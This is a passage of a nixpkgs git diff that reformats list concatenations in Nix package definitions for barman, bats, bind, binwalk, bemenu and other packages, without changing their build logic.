+  ++ lib.optional (stdenv.cc.cc != null) "SYSROOT_ALT=${stdenv.cc.cc}"
+  ++ lib.optional (stdenv.cc.libc != null) "SYSROOT=${stdenv.cc.libc}";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ba/barman/package.nix b/pkgs/by-name/ba/barman/package.nix
index 22a7882acb61..2bd7e9e070be 100644
--- a/pkgs/by-name/ba/barman/package.nix
+++ b/pkgs/by-name/ba/barman/package.nix
@@ -59,16 +59,15 @@ python3Packages.buildPythonApplication rec {
     versionCheckHook
   ];
 
-  disabledTests =
-    [
-      # Assertion error
-      "test_help_output"
-      "test_exits_on_unsupported_target"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # FsOperationFailed
-      "test_get_file_mode"
-    ];
+  disabledTests = [
+    # Assertion error
+    "test_help_output"
+    "test_exits_on_unsupported_target"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # FsOperationFailed
+    "test_get_file_mode"
+  ];
 
   passthru = {
     updateScript = nix-update-script {
diff --git a/pkgs/by-name/ba/baserow/package.nix b/pkgs/by-name/ba/baserow/package.nix
index 29e34a5505e8..8c5baedaf15f 100644
--- a/pkgs/by-name/ba/baserow/package.nix
+++ b/pkgs/by-name/ba/baserow/package.nix
@@ -106,7 +106,8 @@ buildPythonApplication rec {
     uvicorn
     watchgod
     zipp
-  ] ++ uvicorn.optional-dependencies.standard;
+  ]
+  ++ uvicorn.optional-dependencies.standard;
 
   postInstall = ''
     wrapProgram $out/bin/baserow \
diff --git a/pkgs/by-name/ba/bats/package.nix b/pkgs/by-name/ba/bats/package.nix
index 36c8968be3bd..a40fcfeba12e 100644
--- a/pkgs/by-name/ba/bats/package.nix
+++ b/pkgs/by-name/ba/bats/package.nix
@@ -67,14 +67,13 @@ resholve.mkDerivation rec {
         procps
       ];
       fake = {
-        external =
-          [
-            "greadlink"
-            "shlock"
-          ]
-          ++ lib.optionals stdenv.hostPlatform.isDarwin [
-            "pkill" # procps doesn't supply this on darwin
-          ];
+        external = [
+          "greadlink"
+          "shlock"
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isDarwin [
+          "pkill" # procps doesn't supply this on darwin
+        ];
       };
       fix = {
         "$BATS_ROOT" = [ "${placeholder "out"}" ];
@@ -106,30 +105,29 @@ resholve.mkDerivation rec {
         "$parallel_binary_name" = "${parallel}/bin/parallel";
         "${placeholder "out"}/libexec/bats-core/bats-preprocess" = true;
       };
-      execer =
-        [
-          /*
-            both blatant lies for expedience; these can certainly exec args
-            they may be safe here, because they may always run things that
-            are ultimately in libexec?
-            TODO: handle parallel and flock in binlore/resholve
-          */
-          "cannot:${parallel}/bin/parallel"
-          "cannot:${flock}/bin/flock"
+      execer = [
+        /*
+          both blatant lies for expedience; these can certainly exec args
+          they may be safe here, because they may always run things that
+          are ultimately in libexec?
+          TODO: handle parallel and flock in binlore/resholve
+        */
+        "cannot:${parallel}/bin/parallel"
+        "cannot:${flock}/bin/flock"
 
-          "cannot:libexec/bats-core/bats-preprocess"
+        "cannot:libexec/bats-core/bats-preprocess"
 
-          # these do exec, but other internal files
-          "cannot:libexec/bats-core/bats-exec-file"
-          "cannot:libexec/bats-core/bats-exec-suite"
-          "cannot:libexec/bats-core/bats-gather-tests"
+        # these do exec, but other internal files
+        "cannot:libexec/bats-core/bats-exec-file"
+        "cannot:libexec/bats-core/bats-exec-suite"
+        "cannot:libexec/bats-core/bats-gather-tests"
 
-          "cannot:${procps}/bin/ps"
-        ]
-        ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-          # checked invocations for exec
-          "cannot:${procps}/bin/pkill"
-        ];
+        "cannot:${procps}/bin/ps"
+      ]
+      ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+        # checked invocations for exec
+        "cannot:${procps}/bin/pkill"
+      ];
     };
   };
 
@@ -142,7 +140,8 @@ resholve.mkDerivation rec {
 
       paths = [
         bats
-      ] ++ selector bats.libraries;
+      ]
+      ++ selector bats.libraries;
 
       nativeBuildInputs = [
         makeWrapper
@@ -154,105 +153,104 @@ resholve.mkDerivation rec {
       '';
     };
 
-  passthru.tests =
-    {
-      libraries =
-        runCommand "${bats.name}-with-libraries-test"
-          {
-            testScript = ''
-              setup() {
-                bats_load_library bats-support
-                bats_load_library bats-assert
-                bats_load_library bats-file
-                bats_load_library bats-detik/detik.bash
+  passthru.tests = {
+    libraries =
+      runCommand "${bats.name}-with-libraries-test"
+        {
+          testScript = ''
+            setup() {
+              bats_load_library bats-support
+              bats_load_library bats-assert
+              bats_load_library bats-file
+              bats_load_library bats-detik/detik.bash
 
-                bats_require_minimum_version 1.5.0
+              bats_require_minimum_version 1.5.0
 
-                TEST_TEMP_DIR="$(temp_make --prefix 'nixpkgs-bats-test')"
-              }
+              TEST_TEMP_DIR="$(temp_make --prefix 'nixpkgs-bats-test')"
+            }
 
-              teardown() {
-                temp_del "$TEST_TEMP_DIR"
-              }
+            teardown() {
+              temp_del "$TEST_TEMP_DIR"
+            }
 
-              @test echo_hi {
-                run -0 echo hi
-                assert_output "hi"
-              }
+            @test echo_hi {
+              run -0 echo hi
+              assert_output "hi"
+            }
 
-              @test cp_failure {
-                run ! cp
-                assert_line --index 0 "cp: missing file operand"
-                assert_line --index 1 "Try 'cp --help' for more information."
-              }
+            @test cp_failure {
+              run ! cp
+              assert_line --index 0 "cp: missing file operand"
+              assert_line --index 1 "Try 'cp --help' for more information."
+            }
 
-              @test file_exists {
-                echo "hi" > "$TEST_TEMP_DIR/hello.txt"
-                assert_file_exist "$TEST_TEMP_DIR/hello.txt"
-                run cat "$TEST_TEMP_DIR/hello.txt"
-                assert_output "hi"
-              }
-            '';
-            passAsFile = [ "testScript" ];
-          }
-          ''
-            ${
-              bats.withLibraries (p: [
-                p.bats-support
-                p.bats-assert
-                p.bats-file
-                p.bats-detik
-              ])
-            }/bin/bats "$testScriptPath"
-            touch "$out"
+            @test file_exists {
+              echo "hi" > "$TEST_TEMP_DIR/hello.txt"
+              assert_file_exist "$TEST_TEMP_DIR/hello.txt"
+              run cat "$TEST_TEMP_DIR/hello.txt"
+              assert_output "hi"
+            }
           '';
+          passAsFile = [ "testScript" ];
+        }
+        ''
+          ${
+            bats.withLibraries (p: [
+              p.bats-support
+              p.bats-assert
+              p.bats-file
+              p.bats-detik
+            ])
+          }/bin/bats "$testScriptPath"
+          touch "$out"
+        '';
 
-      upstream = bats.unresholved.overrideAttrs (old: {
-        name = "${bats.name}-tests";
-        dontInstall = true; # just need the build directory
-        nativeInstallCheckInputs = [
-          ncurses
-          parallel # skips some tests if it can't detect
-          flock # skips some tests if it can't detect
-          procps
-        ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ lsof ];
-        inherit doInstallCheck;
-        installCheckPhase =
-          ''
-            # TODO: cut if https://github.com/bats-core/bats-core/issues/418 allows
-            sed -i '/test works even if PATH is reset/a skip "disabled for nix build"' test/bats.bats
+    upstream = bats.unresholved.overrideAttrs (old: {
+      name = "${bats.name}-tests";
+      dontInstall = true; # just need the build directory
+      nativeInstallCheckInputs = [
+        ncurses
+        parallel # skips some tests if it can't detect
+        flock # skips some tests if it can't detect
+        procps
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [ lsof ];
+      inherit doInstallCheck;
+      installCheckPhase = ''
+        # TODO: cut if https://github.com/bats-core/bats-core/issues/418 allows
+        sed -i '/test works even if PATH is reset/a skip "disabled for nix build"' test/bats.bats
 
-            # skip tests that assume bats `install.sh` will be in BATS_ROOT
-            rm test/root.bats
+        # skip tests that assume bats `install.sh` will be in BATS_ROOT
+        rm test/root.bats
 
-          ''
-          + (lib.optionalString stdenv.hostPlatform.isDarwin ''
-            # skip new timeout tests which are failing on macOS for unclear reasons
-            # This might relate to procps not having a pkill?
-            rm test/timeout.bats
-          '')
-          + ''
+      ''
+      + (lib.optionalString stdenv.hostPlatform.isDarwin ''
+        # skip new timeout tests which are failing on macOS for unclear reasons
+        # This might relate to procps not having a pkill?
+        rm test/timeout.bats
+      '')
+      + ''
 
-            # test generates file with absolute shebang dynamically
-            substituteInPlace test/install.bats --replace \
-              "/usr/bin/env bash" "${bash}/bin/bash"
+        # test generates file with absolute shebang dynamically
+        substituteInPlace test/install.bats --replace \
+          "/usr/bin/env bash" "${bash}/bin/bash"
 
-            ${bats}/bin/bats test
-            touch $out
-          '';
-      });
+        ${bats}/bin/bats test
+        touch $out
+      '';
+    });
 
-      # to see when updates would break things, include packages
-      # that use nixpkgs' bats for testing (as long as they
-      # aren't massive builds)
-      inherit bash-preexec locate-dominating-file packcc;
-      resholve = resholve.tests.cli;
-    }
-    // lib.optionalAttrs (!stdenv.hostPlatform.isDarwin) {
-      # TODO: kikit's kicad dependency is marked broken on darwin atm
-      # may be able to fold this up if that resolves.
-      inherit kikit;
-    };
+    # to see when updates would break things, include packages
+    # that use nixpkgs' bats for testing (as long as they
+    # aren't massive builds)
+    inherit bash-preexec locate-dominating-file packcc;
+    resholve = resholve.tests.cli;
+  }
+  // lib.optionalAttrs (!stdenv.hostPlatform.isDarwin) {
+    # TODO: kikit's kicad dependency is marked broken on darwin atm
+    # may be able to fold this up if that resolves.
+    inherit kikit;
+  };
 
   meta = with lib; {
     homepage = "https://github.com/bats-core/bats-core";
diff --git a/pkgs/by-name/ba/bazarr/package.nix b/pkgs/by-name/ba/bazarr/package.nix
index dea67d4f22e4..2edf163e0fe9 100644
--- a/pkgs/by-name/ba/bazarr/package.nix
+++ b/pkgs/by-name/ba/bazarr/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
       ps.setuptools
       ps.psycopg2
     ]))
-  ] ++ runtimeProgDeps;
+  ]
+  ++ runtimeProgDeps;
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/bc/bcachefs-tools/package.nix b/pkgs/by-name/bc/bcachefs-tools/package.nix
index 1963233ec231..9f5ad44fea17 100644
--- a/pkgs/by-name/bc/bcachefs-tools/package.nix
+++ b/pkgs/by-name/bc/bcachefs-tools/package.nix
@@ -59,7 +59,8 @@ stdenv.mkDerivation (finalAttrs: {
     zlib
     attr
     udev
-  ] ++ lib.optional fuseSupport fuse3;
+  ]
+  ++ lib.optional fuseSupport fuse3;
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     src = finalAttrs.src;
@@ -74,7 +75,8 @@ stdenv.mkDerivation (finalAttrs: {
     # Tries to install to the 'systemd-minimal' and 'udev' nix installation paths
     "PKGCONFIG_SERVICEDIR=$(out)/lib/systemd/system"
     "PKGCONFIG_UDEVDIR=$(out)/lib/udev"
-  ] ++ lib.optional fuseSupport "BCACHEFS_FUSE=1";
+  ]
+  ++ lib.optional fuseSupport "BCACHEFS_FUSE=1";
 
   env = {
     CARGO_BUILD_TARGET = stdenv.hostPlatform.rust.rustcTargetSpec;
@@ -94,17 +96,16 @@ stdenv.mkDerivation (finalAttrs: {
   '';
   checkFlags = [ "BCACHEFS_TEST_USE_VALGRIND=no" ];
 
-  postInstall =
-    ''
-      substituteInPlace $out/libexec/bcachefsck_all \
-        --replace-fail "/usr/bin/python3" "${python3.interpreter}"
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd bcachefs \
-        --bash <($out/sbin/bcachefs completions bash) \
-        --zsh  <($out/sbin/bcachefs completions zsh) \
-        --fish <($out/sbin/bcachefs completions fish)
-    '';
+  postInstall = ''
+    substituteInPlace $out/libexec/bcachefsck_all \
+      --replace-fail "/usr/bin/python3" "${python3.interpreter}"
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd bcachefs \
+      --bash <($out/sbin/bcachefs completions bash) \
+      --zsh  <($out/sbin/bcachefs completions zsh) \
+      --fish <($out/sbin/bcachefs completions fish)
+  '';
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/be/bearssl/package.nix b/pkgs/by-name/be/bearssl/package.nix
index 4dc9a2c488a5..2aff5e07108b 100644
--- a/pkgs/by-name/be/bearssl/package.nix
+++ b/pkgs/by-name/be/bearssl/package.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation rec {
     "CC=${stdenv.cc.targetPrefix}cc"
     "LD=${stdenv.cc.targetPrefix}cc"
     "LDDLL=${stdenv.cc.targetPrefix}cc"
-  ] ++ lib.optional stdenv.hostPlatform.isStatic "DLL=no";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isStatic "DLL=no";
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/be/bemenu/package.nix b/pkgs/by-name/be/bemenu/package.nix
index 0da5facf1bbe..dfca37bbc0c5 100644
--- a/pkgs/by-name/be/bemenu/package.nix
+++ b/pkgs/by-name/be/bemenu/package.nix
@@ -36,43 +36,42 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      pkg-config
-      scdoc
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin makeWrapper
-    ++ lib.optional waylandSupport wayland-scanner;
+  nativeBuildInputs = [
+    pkg-config
+    scdoc
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin makeWrapper
+  ++ lib.optional waylandSupport wayland-scanner;
 
-  buildInputs =
-    [
-      cairo
-      fribidi
-      harfbuzz
-      libxkbcommon
-      pango
-    ]
-    ++ lib.optional ncursesSupport ncurses
-    ++ lib.optionals waylandSupport [
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals x11Support [
-      xorg.libX11
-      xorg.libXinerama
-      xorg.libXft
-      xorg.libXdmcp
-      xorg.libpthreadstubs
-      xorg.libxcb
-    ];
+  buildInputs = [
+    cairo
+    fribidi
+    harfbuzz
+    libxkbcommon
+    pango
+  ]
+  ++ lib.optional ncursesSupport ncurses
+  ++ lib.optionals waylandSupport [
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals x11Support [
+    xorg.libX11
+    xorg.libXinerama
+    xorg.libXft
+    xorg.libXdmcp
+    xorg.libpthreadstubs
+    xorg.libxcb
+  ];
 
   makeFlags = [ "PREFIX=$(out)" ];
 
-  buildFlags =
-    [ "clients" ]
-    ++ lib.optional ncursesSupport "curses"
-    ++ lib.optional waylandSupport "wayland"
-    ++ lib.optional x11Support "x11";
+  buildFlags = [
+    "clients"
+  ]
+  ++ lib.optional ncursesSupport "curses"
+  ++ lib.optional waylandSupport "wayland"
+  ++ lib.optional x11Support "x11";
 
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     so="$(find "$out/lib" -name "libbemenu.so.[0-9]" -print -quit)"
diff --git a/pkgs/by-name/be/bento4/package.nix b/pkgs/by-name/be/bento4/package.nix
index 2b7dc79faf2d..d32d54457110 100644
--- a/pkgs/by-name/be/bento4/package.nix
+++ b/pkgs/by-name/be/bento4/package.nix
@@ -21,13 +21,12 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DCMAKE_OSX_ARCHITECTURES="
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DCMAKE_OSX_ARCHITECTURES="
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/be/bespokesynth/package.nix b/pkgs/by-name/be/bespokesynth/package.nix
index d9bd14d19e2f..1e95ca7792a2 100644
--- a/pkgs/by-name/be/bespokesynth/package.nix
+++ b/pkgs/by-name/be/bespokesynth/package.nix
@@ -68,14 +68,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   cmakeBuildType = "Release";
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BESPOKE_SYSTEM_PYBIND11" true)
-      (lib.cmakeBool "BESPOKE_SYSTEM_JSONCPP" true)
-    ]
-    ++ lib.optionals enableVST2 [
-      (lib.cmakeFeature "BESPOKE_VST2_SDK_LOCATION" "${vst2-sdk}")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BESPOKE_SYSTEM_PYBIND11" true)
+    (lib.cmakeBool "BESPOKE_SYSTEM_JSONCPP" true)
+  ]
+  ++ lib.optionals enableVST2 [
+    (lib.cmakeFeature "BESPOKE_VST2_SDK_LOCATION" "${vst2-sdk}")
+  ];
 
   strictDeps = true;
 
@@ -87,45 +86,44 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
   ];
 
-  buildInputs =
-    [
-      jsoncpp
-      # library & headers
-      (python3.withPackages (
-        ps: with ps; [
-          pybind11
-        ]
-      ))
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # List obtained from https://github.com/BespokeSynth/BespokeSynth/blob/main/azure-pipelines.yml
-      libX11
-      libXrandr
-      libXinerama
-      libXext
-      libXcursor
-      libXScrnSaver
-      curl
-      gtk3
-      webkitgtk_4_1
-      freetype
-      libGL
-      libusb1
-      alsa-lib
-      libjack2
-      zenity
-      alsa-tools
-      libxcb
-      xcbutil
-      libxkbcommon
-      xcbutilkeysyms
-      xcb-util-cursor
-      pcre
-      mount
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_11
-    ];
+  buildInputs = [
+    jsoncpp
+    # library & headers
+    (python3.withPackages (
+      ps: with ps; [
+        pybind11
+      ]
+    ))
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # List obtained from https://github.com/BespokeSynth/BespokeSynth/blob/main/azure-pipelines.yml
+    libX11
+    libXrandr
+    libXinerama
+    libXext
+    libXcursor
+    libXScrnSaver
+    curl
+    gtk3
+    webkitgtk_4_1
+    freetype
+    libGL
+    libusb1
+    alsa-lib
+    libjack2
+    zenity
+    alsa-tools
+    libxcb
+    xcbutil
+    libxkbcommon
+    xcbutilkeysyms
+    xcb-util-cursor
+    pcre
+    mount
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_11
+  ];
 
   postInstall =
     if stdenv.hostPlatform.isDarwin then
diff --git a/pkgs/by-name/be/bettercap/package.nix b/pkgs/by-name/be/bettercap/package.nix
index e0d5de396d28..052439681057 100644
--- a/pkgs/by-name/be/bettercap/package.nix
+++ b/pkgs/by-name/be/bettercap/package.nix
@@ -26,15 +26,14 @@ buildGoModule rec {
   doCheck = false;
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      libpcap
-      libusb1
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libnfnetlink
-      libnetfilter_queue
-    ];
+  buildInputs = [
+    libpcap
+    libusb1
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libnfnetlink
+    libnetfilter_queue
+  ];
 
   meta = with lib; {
     description = "Man in the middle tool";
diff --git a/pkgs/by-name/be/betterlockscreen/package.nix b/pkgs/by-name/be/betterlockscreen/package.nix
index ba1fce2551e0..f7e901eb1fad 100644
--- a/pkgs/by-name/be/betterlockscreen/package.nix
+++ b/pkgs/by-name/be/betterlockscreen/package.nix
@@ -33,7 +33,8 @@ let
     xorg.xdpyinfo
     xorg.xrandr
     xorg.xset
-  ] ++ lib.optionals withDunst [ dunst ];
+  ]
+  ++ lib.optionals withDunst [ dunst ];
 in
 
 stdenv.mkDerivation rec {
diff --git a/pkgs/by-name/bf/bfs/package.nix b/pkgs/by-name/bf/bfs/package.nix
index 681a4db2e52d..f35db260e28c 100644
--- a/pkgs/by-name/bf/bfs/package.nix
+++ b/pkgs/by-name/bf/bfs/package.nix
@@ -20,14 +20,15 @@ stdenv.mkDerivation rec {
     hash = "sha256-TXnoy+VWkS5ilW6QEtE6vd80FaJ/nIWGaeBJ/cjvquM=";
   };
 
-  buildInputs =
-    [ oniguruma ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      acl
-      attr
-      libcap
-      liburing
-    ];
+  buildInputs = [
+    oniguruma
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    acl
+    attr
+    libcap
+    liburing
+  ];
 
   configureFlags = [ "--enable-release" ];
   makeFlags = [ "PREFIX=$(out)" ];
diff --git a/pkgs/by-name/bi/biber-ms/package.nix b/pkgs/by-name/bi/biber-ms/package.nix
index b2f7000539c8..0ab78240ec49 100644
--- a/pkgs/by-name/bi/biber-ms/package.nix
+++ b/pkgs/by-name/bi/biber-ms/package.nix
@@ -84,13 +84,12 @@ perlPackages.buildPerlModule {
     cp '${multiscriptBltxml}' t/tdata/multiscript.bltxml
   '';
 
-  postInstall =
-    ''
-      mv "$out"/bin/biber{,-ms}
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      shortenPerlShebang "$out"/bin/biber-ms
-    '';
+  postInstall = ''
+    mv "$out"/bin/biber{,-ms}
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    shortenPerlShebang "$out"/bin/biber-ms
+  '';
 
   meta = with lib; {
     description = "Backend for BibLaTeX (multiscript version)";
diff --git a/pkgs/by-name/bi/biblioteca/package.nix b/pkgs/by-name/bi/biblioteca/package.nix
index da7aaefd56ad..df7d93fd492f 100644
--- a/pkgs/by-name/bi/biblioteca/package.nix
+++ b/pkgs/by-name/bi/biblioteca/package.nix
@@ -65,7 +65,8 @@ stdenv.mkDerivation (finalAttrs: {
       libadwaita.devdoc
       webkitgtk.devdoc
       gobject-introspection.devdoc
-    ] ++ extraDocsPackage;
+    ]
+    ++ extraDocsPackage;
   };
 
   postPatch = ''
diff --git a/pkgs/by-name/bi/biboumi/package.nix b/pkgs/by-name/bi/biboumi/package.nix
index cf7f744e2f84..107c6e79c1a1 100644
--- a/pkgs/by-name/bi/biboumi/package.nix
+++ b/pkgs/by-name/bi/biboumi/package.nix
@@ -48,18 +48,17 @@ stdenv.mkDerivation rec {
     pkg-config
     python3Packages.sphinx
   ];
-  buildInputs =
-    [
-      libuuid
-      expat
-      libiconv
-      systemd
-      botan2
-    ]
-    ++ lib.optional withIDN libidn
-    ++ lib.optional withPostgreSQL libpq
-    ++ lib.optional withSQLite sqlite
-    ++ lib.optional withUDNS udns;
+  buildInputs = [
+    libuuid
+    expat
+    libiconv
+    systemd
+    botan2
+  ]
+  ++ lib.optional withIDN libidn
+  ++ lib.optional withPostgreSQL libpq
+  ++ lib.optional withSQLite sqlite
+  ++ lib.optional withUDNS udns;
 
   buildFlags = [
     "all"
diff --git a/pkgs/by-name/bi/bind/package.nix b/pkgs/by-name/bi/bind/package.nix
index f969a14feaef..f6a1b3a08464 100644
--- a/pkgs/by-name/bi/bind/package.nix
+++ b/pkgs/by-name/bi/bind/package.nix
@@ -52,31 +52,29 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     removeReferencesTo
   ];
-  buildInputs =
-    [
-      libidn2
-      libtool
-      libxml2
-      openssl
-      liburcu
-      libuv
-      nghttp2
-      jemalloc
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux libcap
-    ++ lib.optional enableGSSAPI libkrb5
-    ++ lib.optional enablePython (python3.withPackages (ps: with ps; [ ply ]));
+  buildInputs = [
+    libidn2
+    libtool
+    libxml2
+    openssl
+    liburcu
+    libuv
+    nghttp2
+    jemalloc
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libcap
+  ++ lib.optional enableGSSAPI libkrb5
+  ++ lib.optional enablePython (python3.withPackages (ps: with ps; [ ply ]));
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
-  configureFlags =
-    [
-      "--localstatedir=/var"
-      "--without-lmdb"
-      "--with-libidn2"
-    ]
-    ++ lib.optional enableGSSAPI "--with-gssapi=${libkrb5.dev}/bin/krb5-config"
-    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "BUILD_CC=$(CC_FOR_BUILD)";
+  configureFlags = [
+    "--localstatedir=/var"
+    "--without-lmdb"
+    "--with-libidn2"
+  ]
+  ++ lib.optional enableGSSAPI "--with-gssapi=${libkrb5.dev}/bin/krb5-config"
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "BUILD_CC=$(CC_FOR_BUILD)";
 
   postInstall = ''
     moveToOutput bin/bind9-config $dev
@@ -114,13 +112,12 @@ stdenv.mkDerivation (finalAttrs: {
       && !is32bit;
   */
   checkTarget = "unit";
-  checkInputs =
-    [
-      cmocka
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isMusl) [
-      tzdata
-    ];
+  checkInputs = [
+    cmocka
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isMusl) [
+    tzdata
+  ];
   preCheck =
     lib.optionalString stdenv.hostPlatform.isMusl ''
       # musl doesn't respect TZDIR, skip timezone-related tests
@@ -136,16 +133,15 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   passthru = {
-    tests =
-      {
-        withCheck = finalAttrs.finalPackage.overrideAttrs { doCheck = true; };
-        inherit (nixosTests) bind;
-        prometheus-exporter = nixosTests.prometheus-exporters.bind;
-      }
-      // lib.optionalAttrs (stdenv.hostPlatform.system == "x86_64-linux") {
-        kubernetes-dns-single-node = nixosTests.kubernetes.dns-single-node;
-        kubernetes-dns-multi-node = nixosTests.kubernetes.dns-multi-node;
-      };
+    tests = {
+      withCheck = finalAttrs.finalPackage.overrideAttrs { doCheck = true; };
+      inherit (nixosTests) bind;
+      prometheus-exporter = nixosTests.prometheus-exporters.bind;
+    }
+    // lib.optionalAttrs (stdenv.hostPlatform.system == "x86_64-linux") {
+      kubernetes-dns-single-node = nixosTests.kubernetes.dns-single-node;
+      kubernetes-dns-multi-node = nixosTests.kubernetes.dns-multi-node;
+    };
 
     updateScript = gitUpdater {
       # No nicer place to find latest stable release.
diff --git a/pkgs/by-name/bi/binwalk/package.nix b/pkgs/by-name/bi/binwalk/package.nix
index 69b3d8405d18..ebc0b937de76 100644
--- a/pkgs/by-name/bi/binwalk/package.nix
+++ b/pkgs/by-name/bi/binwalk/package.nix
@@ -73,27 +73,26 @@ rustPlatform.buildRustPackage (finalAttrs: {
   dontUseCargoParallelTests = true;
 
   # skip broken tests
-  checkFlags =
-    [
-      "--skip=binwalk::Binwalk"
-      "--skip=binwalk::Binwalk::scan"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--skip=binwalk::Binwalk::analyze"
-      "--skip=binwalk::Binwalk::extract"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--skip=extractors::common::Chroot::append_to_file"
-      "--skip=extractors::common::Chroot::carve_file"
-      "--skip=extractors::common::Chroot::create_block_device"
-      "--skip=extractors::common::Chroot::create_character_device"
-      "--skip=extractors::common::Chroot::create_directory"
-      "--skip=extractors::common::Chroot::create_fifo"
-      "--skip=extractors::common::Chroot::create_file"
-      "--skip=extractors::common::Chroot::create_socket"
-      "--skip=extractors::common::Chroot::create_symlink"
-      "--skip=extractors::common::Chroot::make_executable"
-    ];
+  checkFlags = [
+    "--skip=binwalk::Binwalk"
+    "--skip=binwalk::Binwalk::scan"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--skip=binwalk::Binwalk::analyze"
+    "--skip=binwalk::Binwalk::extract"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--skip=extractors::common::Chroot::append_to_file"
+    "--skip=extractors::common::Chroot::carve_file"
+    "--skip=extractors::common::Chroot::create_block_device"
+    "--skip=extractors::common::Chroot::create_character_device"
+    "--skip=extractors::common::Chroot::create_directory"
+    "--skip=extractors::common::Chroot::create_fifo"
+    "--skip=extractors::common::Chroot::create_file"
+    "--skip=extractors::common::Chroot::create_socket"
+    "--skip=extractors::common::Chroot::create_symlink"
+    "--skip=extractors::common::Chroot::make_executable"
+  ];
 
   nativeInstallCheckInputs = [ versionCheckHook ];
   doInstallCheck = true;
diff --git a/pkgs/by-name/bi/bison/package.nix b/pkgs/by-name/bi/bison/package.nix
index f4b83b2bdec3..d1c015601320 100644
--- a/pkgs/by-name/bi/bison/package.nix
+++ b/pkgs/by-name/bi/bison/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     m4
     perl
-  ] ++ lib.optional stdenv.hostPlatform.isSunOS help2man;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isSunOS help2man;
   propagatedBuildInputs = [ m4 ];
 
   enableParallelBuilding = true;
diff --git a/pkgs/by-name/bi/bite/package.nix b/pkgs/by-name/bi/bite/package.nix
index c33b80ca7938..18f7073e914e 100644
--- a/pkgs/by-name/bi/bite/package.nix
+++ b/pkgs/by-name/bi/bite/package.nix
@@ -40,32 +40,30 @@ rustPlatform.buildRustPackage rec {
     imagemagick
   ];
 
-  buildInputs =
-    [
-      atk
-      cairo
-      gdk-pixbuf
-      glib
-      gtk3
-      libxkbcommon
-      pango
-      vulkan-loader
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_15
-    ];
+  buildInputs = [
+    atk
+    cairo
+    gdk-pixbuf
+    glib
+    gtk3
+    libxkbcommon
+    pango
+    vulkan-loader
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_15
+  ];
 
-  runtimeDependencies =
-    [
-      libxkbcommon
-      vulkan-loader
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland
-    ];
+  runtimeDependencies = [
+    libxkbcommon
+    vulkan-loader
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland
+  ];
 
   postInstall = ''
